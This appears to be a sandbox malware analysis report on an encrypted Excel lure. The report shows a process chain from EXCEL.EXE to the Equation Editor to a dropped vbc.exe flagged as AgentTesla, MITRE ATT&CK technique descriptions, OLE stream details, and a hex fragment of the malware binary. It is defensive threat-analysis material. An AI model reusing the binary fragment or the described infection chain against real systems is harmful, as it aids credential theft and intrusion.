00 00 00 02 00 05 00 60 e7 08 00 a0 9f 00 00 03 00 00 00 10 00 00 06 f0 71 00 00 70 75 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 00 62 00 64 00 63 00 65 00 66 00 67 00 68 00 69 00 6a 00 6b 00 6c 00 6d 00 6e 00 70 00 72 00 71 00 73 00 74 00 75 00 76 00 77 00 7a 00 79 00 78 00 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4a 00 4b 00 4c 00 4d 00 4e 00 51 00 50 00 52 00 54 00 53 00 56 00 55 00 57 00 58 00 59 00 5a 00 36 02 03 28 03 00 00 06 6f 01 00 00 0a 2a 42 03 02 03 28 01 00 00 06 14 6f 02 00 00 0a 26 2a 32 02 28 05 00 00 06 74 06 00 00 01 2a 1e 28 06 00 00 06 26 2a 32 02 74 07 00 00 01 6f 03 00 00 0a 2a 46 7e 02 00 00 04 7e 03 00 00 04 28 02 00 00 06 17 2a 0a 16 2a 1e 02 28 07 00 00 0a 2a ba 28 08 00 00 0a 80 01 00 00 04 28 0d 00 00 06 28 09 00 00 0a 80 02 00 00 04 28 0d 00 00 06 28 09 00 00 0a 6f 0a 00 00 0a 80 03 00 00 04 2a 26 02 03 04 6f 0b 00 00 0a 2a 1a 28 04 00 00 06 2a 1a 28 0e 00 00 06 2a 2e 72 19 00 00 70 80 04 00 00 04 2a 36 03 02 7b 62 00 00 0a 28 5e 00 00 0a 2a 8a 03 6f 03 00 00 0a 02 7b 61 00 00 0a 7b 63 00 00 0a 02 7b 62 00 00 0a 6f 5a 00 00 0a 28 5e 00 00 0a 2a 2e 73 6f 00 00 0a 80 70 00 00 0a 2a 1e 03 6f 71 00 00 0a 2a 56 02 7b 11 00 00 04 6f 64 00 00 0a 03 28 12 00 00 2b 16 fe 01 2a 4a 02 7b 12 00 00 04 6f 31 00 00 0a 03 6f 76 00 00 0a 2a 4a 03 02 7b 13 00 00 04 6f 71 00 00 0a 28 5e 00 00 0a 2a 2e 73 33 00 00 06 80 14 00 00 04 2a 2e 73 38 00 00 06 80 16 00 00 04 2a 0a 03 2a 1e 02 7b 1a 00 00 04 2a 22 02 03 7d 1a 00 00 04 2a 1e 02 7b 1b 00 00 04 2a 22 02 03 7d 1b 00 00 04 2a 56 02 28 07 00 00 0a 02 03 28 40 00 00 06 02 04 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL:_hN @ T@KB H.textTg h `.rsrcBj@@.relocn@B0H`qpuabdcefghijklmnprqstuvwzyx0123456789ABCDEFGHIJKLMNQPRTSVUWXYZ6(oB(o&2(t(&2toF~~(((((((o&o((.rp6{b(^o{a{c{boZ(^.sopoqV{od(+J{o1ovJ{oq(^.s3.s8{"}{"}*V((@

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2300 Parent PID: 584

General

Start time:	19:31:42
Start date:	20/11/2020
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f3f0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXE PID: 2480 Parent PID: 584

General

Start time:	19:32:02
Start date:	20/11/2020
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 2824 Parent PID: 2480

General

Start time:	19:32:04
Start date:	20/11/2020
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x1340000
File size:	618496 bytes
MD5 hash:	020BC13012CE4DB6E204CB1ED174851E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2362460442.0000000004454000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report Catalog of our new order.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Catalog of our new order.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Stream Path: EncryptedPackage, File Type: data, Stream Size: 194952

General

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224